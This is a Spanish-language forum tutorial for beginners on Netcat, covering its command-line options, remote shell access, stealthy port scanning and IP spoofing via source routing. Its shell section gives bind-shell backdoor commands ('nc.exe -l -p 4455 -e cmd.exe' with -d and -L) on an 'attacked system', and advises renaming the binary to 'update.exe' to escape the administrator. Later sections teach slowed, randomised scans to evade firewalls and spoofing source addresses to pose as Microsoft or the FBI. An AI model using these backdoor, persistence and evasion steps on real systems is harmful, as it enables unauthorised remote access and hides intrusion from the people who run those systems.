TUTORIAL DE NETCAT PARA NEWBIES
En resumen Netcat realiza y acepta conexiones TCP Y UDP. ¡Eso es todo! Netcat escribe y lee los datos en este tipo de conexiones hasta que se cierren. Proporciona un subsistema de conexión a red básico basado en TCP/UDP que permite a los usuarios interactuar en forma normal o mediante secuencias de comandos con aplicaciones de red y servicios sobre la capa de aplicación. Nos permitirá ver datos TCP y UDP en bruto antes de que sean recubiertos por la siguiente capa superior, tal como FTP, SMTP, o HTTP. Antes de continuar debo decirte que tendrás que tener Netcat en C:\WINDOWS\System32 por cuestiones que no soy primordiales de este manual.
LINEA DE COMANDOS
La línea básica de comandos para Netcat es nc [opciones] host puertos, donde host es la dirección IP que se desea analizar y puertos es o un determinado puerto o un rango de puertos o una serie de puertos separados por espacios. Echemos un vistazo a cada una de las opciones.
-d Permite que nc trabaje en forma silenciosa y se desenganche del indicador de comandos MS-DOS.
-e <comando> Un nc a la escucha podrá ejecutar el <comando> en el instante en que alguien se conecte al puerto en el que está escuchando.
-i <segundos> Intervalo de espera, que es la cantidad de tiempo que nc esperará entre dos envíos de datos sucesivos.
-g <lista-de-ruta> Se pueden especificar hasta 8 opciones –g en la línea de comandos para forzar que su tráfico nc pase por determinadas direcciones IP.
-G <puntero de saltos> Esta opción le permitirá definir que dirección IP va a ser el siguiente salto dentro de la ruta indicada con la opción –g.
-l Activa el modo escucha de nc.
-L Activa el modo escucha de nc pero con más interés.
-n Indica a nc que no realice ninguna consulta de nombres de hosts.
-o <archivohex> Realiza un volcado hexadecimal de los datos y los almacena en un archivo hexadecimal.
-p <puerto> Le permite especificar el puerto local que va a utilizar nc.
-r Nc elegirá aleatoriamente los puertos locales y remotos.
-s Especifica la dirección IP de origen que deberá utilizar nc cuando efectue sus conexiones.
-t Es capaz de controlar la negociación de opciones Telnet.
-u Indica a nc que utilice UDP en lugar de TCP.
-v Informa el estado de nc, si pones otra –v podrás obtener más información.
-w <segundos> Controla cuanto tiempo va a esperar nc antes de dar por terminada una conexión.
-z Le dice a nc que envíe la cantidad de datos necesarias para conocer en que puertos se está escuchando algo.
OBTENER ACCESO REMOTO A UNA SHELL
Si se ejecuta el comando nc.exe -l –p4455 –e cmd.exe desde una ventana del símbolo del sistema en una plataforma basada en Windows NT o Windows 2000, cualquiera que realice un Telnet al puerto 4455 de dicha plataforma se encontrará con una shell DOS sin tener que iniciar una sesión en ella.
Bastante elegante, pero también da un poco de miedo. Casi sin esfuerzos acabamos de obtener un indicador de comandos en el sistema atacado. Naturalmente, en los sistemas Windows NT y Windows 2000, tendrá los mismos privilegios y servicios que el usuario que ejecute Netcat. Si creamos de esta manera una puerta trasera en Windows 95 y Windows 98obtendremos un control completo.
Vamos a seguir profundizando en este comando, recuerden que de forma predeterminada Netcat se ejecutará en la ventana DOS que se haya iniciado, este hecho significa que la ventana de control de comandos tendrá que permanecer abierta mientras Netcat se encuentre en ejecución. Emplearemos la opción –d para separarla del indicador de comandos.
C:\>nc.exe –l –p 4455 –d –e cmd.exe
De ésta forma, podremos ocultar una puerta trasera basada en Netcat.
Sin embargo si alguien realiza un Telnet al puerto 4455 y se conecta, tan pronto como se finalice la conexión, Netcat pensará que su trabajo ha terminado y dejará de escuchar. Para evitar esto utilizaremos la opción –L diciéndole a Netcat que escuche con más interés incluso después de haber finalizado la conexión.
C:\>nc.exe –p 4455 –d –L –e cmd.exe
Esto nos permitirá volver al sistema hasta que el administrador de dicho sistema descubra la puerta trasera. Y para evitar que nos descubra podemos cambiar el nombre de nc.exe por cualquier otra cosa. Nota: en este ejemplo yo tengo nc.exe que voy a mover en C: y no en C:\Windows\System32
Cualquiera podrá ignorar algo tan aparentemente inofensivo como update.exe. Otra característica de Netcat es que si lo utilizamos sin ninguna opción en la línea de comandos, nos pedirá que la introduzcamos en la primera línea de la entrada estándar.
EXPLORACION SILENCIOSA DE PUERTOS
Como Netcat puede hablar con un rango de puertos, un uso muy obvio sería utilizarlo como explorador de puertos. La opción –z es la respuesta. Ésta opción le dirá a Netcat que envía una determinada cantidad de datos a algún puerto, pero dicha cantidad solo será suficiente para saber si el puerto está abierto o no. En éste caso utilizaremos la opción –v o –vv ya que sin por lo menos una –v no podremos ver el resultado de la exploración. Aquí estoy haciendo una exploración de puertos a 127.0.0.1 desde el 139 hasta el 145. Obtuve como resultado que solo se encuentran abiertos el 139,141 y 142.
Pero esta forma de hacerlo no es la mas correcta que digamos porque algunas aplicaciones de cortafuegos, bloquearan determinada dirección IP si reciben demasiadas conexiones sobre ella en un periodo muy corto de tiempo. Para que no nos suceda esto Netcat permite hacer exploraciones de una manera más discreta, tan discreta que no parecerá una exploracion de puertos. Se podrá utilizar la opción –i y configurar un intervalo de prueba y la opción –r para lo haga de forma aleatoria. Esto debe quedar de la siguiente forma;
En la instrucción anterior se le dice a Netcat que explore los puertos de la IP 127.0.0.1 desde el 139 hasta el 145 de manera aleatoria, habiendo 10 segundos entre uno y otro. Y Netcat me ha dicho que solo se encuentran abiertos el 139 y el 145.
Puede hacerse este mismo procedimiento para los puertos UDP solo agregándole –u a la línea de comandos.
SUPLANTAR UNA DIRECCION IP
Suplantar una dirección IP resulta sencillo. Los cortafuegos que realizan enmascaramiento o una traducción de las direcciones de red suplantan diariamente direcciones IP. Estos dispositivos toman un paquete desde una dirección IP interna, cambian la dirección IP origen del paquete a su propia dirección IP, lo envían por la red y deshacen las modificaciones cuando vuelven a recibir los datos desde el destino. Por ello, decimos que modificar los contenidos de la dirección IP origen en un paquete IP resulta sencillo. Lo que si es difícil es ser capaz de recibir datos desde una dirección IP suplantada.
Netcat dispone de la opción –s que nos permitirá especificar la dirección IP que deseemos. Cualquiera podria iniciar una exploración de puertos utilizando la opción –s para hacer pensar que estan siendo explorado por Microsoft o el FBI. Sin embargo, el problema nos viene cuando deseamos reenviar las respuestas emitidas por el puerto suplantado a nuestra dirección IP real. Supongamos, por ejemplo, que el host de destino piensa que ha recibido una petición de conexión de Microsoft, intentará enviar un mensaje de reconocimiento a dicha ip de Microsoft. Naturalmente, esta dirección IP no tendrá idea de lo que está hablando el host de destino y enviará un reset. ¿Cómo podemos enviar la información de vuelta a la dirección IP real sin que seamos descubiertos?
En lugar de atacar a la maquina destino, la única otra opción viable es utilizar el encaminamiento dependiente del origen. El encaminamiento dependiente del origen permite a una aplicación de red especificar la ruta que desea seguir para llegar a su destino.
Existen dos tipos de encaminamiento dependiente del origen: estricto y relajado. El encaminamiento dependiente del origen estricto significa que el paquete debe especificar cada salto a realizar en la ruta hasta llegar al host de destino. Algunos routers y otros dispositivos de red siguen permitiendo el encaminamiento dependiente del origen estricto, pero muy pocos permiten el encaminamiento dependiente del origen relajado. El encaminamiento dependiente del origen relajado indica a los routers y a los dispositivos de red que los routers pueden efectuar la mayor parte del encaminamiento hasta llegar al host de destino, este proceso nos permitirá hacer que el paquete pase por nuestra maquina al regresar. Utilizando este método el encaminamiento dependiente del origen puede permitir que suplantemos una direccion IP y que obtengamos las respuestas a su viaje de vuelta. La mayoría de los routers ignoran las opciones del encaminamiento dependiente del origen, pero no todos.
La opción –g de Netcat nos permitirá especificar hasta 8 saltos que deberá dar el paquete antes de llegar a su destino, por ejemplo: nc –g 10.10.4.5 –g 10.10.5.8 –g 10.10.7.4 –g 10.10.9.9 10.10.9.50 23 entrará en contacto con el puerto telnet en 10.10.9.50, pero si las opciones del encaminamiento dependiente del origen se encuentran activadas sobre routers intermedios, tráfico se verá forzado a seguir la ruta a través de estas 4 ubicaciones antes de alcanzar su destino. Si intentamos nc –g 10.10.4.5 –g 10.10.5.8 –g 10.10.7.4 –g 10.10.9.9 –G 12 10.10.9.50 23, en este comando estaremos especificando un puntero de salto utilizando la opción –G. La opción –G configurará el puntero de salto al n-simo byte (en este caso el duodecimo) y como las direcciones IP tienen 4 bytes de longitud, el puntero de salto comenzará en 10.10.7.4. Por lo que en su camino a 10.10.9.50, el tráfico necesitará atravesar únicamente las dos ultimas maquinas (porque de acuerdo con el puntero de salto ya hemos estado en las primeras). Sin embargo en el viaje de vuelta el paquete si pasará por las 4 maquinas.
XD: Es el primer tutorial que publico en este foro, espero que les guste y perdon por lo de las imagenes que no se ven muy bien (den un click sobre la imagen para que se vea más grande y distingan los comandos), pero si quieren y les gustó puedo ponerlo para que lo descarguen en .pdf
-=:][:=- HîêRð$Gåmmð$ -=:][:=